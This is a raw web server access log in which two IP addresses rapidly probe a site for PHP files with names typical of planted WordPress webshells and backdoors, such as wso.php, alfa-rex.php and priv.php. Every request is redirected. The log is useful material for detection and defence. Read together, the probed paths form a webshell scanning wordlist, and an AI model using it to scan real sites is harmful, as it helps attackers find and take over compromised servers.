[23/Apr/2025:03:22:46 -0400] "GET /gali.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-content/themes/seotheme/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-admin/includes/footerw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-admin/css/meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /phpzipincs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-includes/images/media/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-includes/ID3/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-admin/css/colors/blue/locale.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-admin/maint/searchy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:46 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:47 -0400] "GET /cache/i/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /css/wp-casper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-admin/includes/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-includes/js/codemirror/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:47 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-admin/js/91.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-admin/css/archivep.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-content/plugins/dhon/newsfeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /assets/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:47 -0400] "GET /abouts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-content/uploads/2024/01/3_hacker.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /vedcve.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-admin/css/sidebars.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-content/plugins/wp-doft/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-includes/certificates/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /jsdindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:47 -0400] "GET /malls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-includes/ID3/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-admin/css/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:47 -0400] "GET /liefs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wordpress/update/bibil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:22:47 -0400] "GET /uc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /wp-content/uploads/configure.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:47 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /wp-content/uploads/2024/09/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:48 -0400] "GET /locks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /images/transfusem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /Kenneth.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /wp-includes/Text/Diff/Renderer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:22:48 -0400] "GET /wp-dsdd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /wp-admin/maint/thems.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /Rosette.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /wp-admin/js/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:22:48 -0400] "GET /wordpress/logsxxyyzz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /wp-includes/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /wp-content/plugins/ioxi/ioxi/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /wp-includes/cof.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /wp-includes/css/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:48 -0400] "GET /css/bun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /wp-content/plugins/seooyanz/wsoyanzv2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /wp-content/uploads/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /wp-admin/includes/translation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /wp-includes/images/wlw/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:48 -0400] "GET /js/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /wp-includes/block-patterns/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /.well-known/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:48 -0400] "GET /service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-includes/rest-api-stack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-content/plugins/ioxi/retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /test/aaaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /app.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /files/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-includes/css/dist/edit-site/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /.well-known/acme-challenge/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /poi.PhP8/search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-admin/maint/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-admin/includes/taxonomy-compiler.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-includes/widgets/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:49 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:49 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - 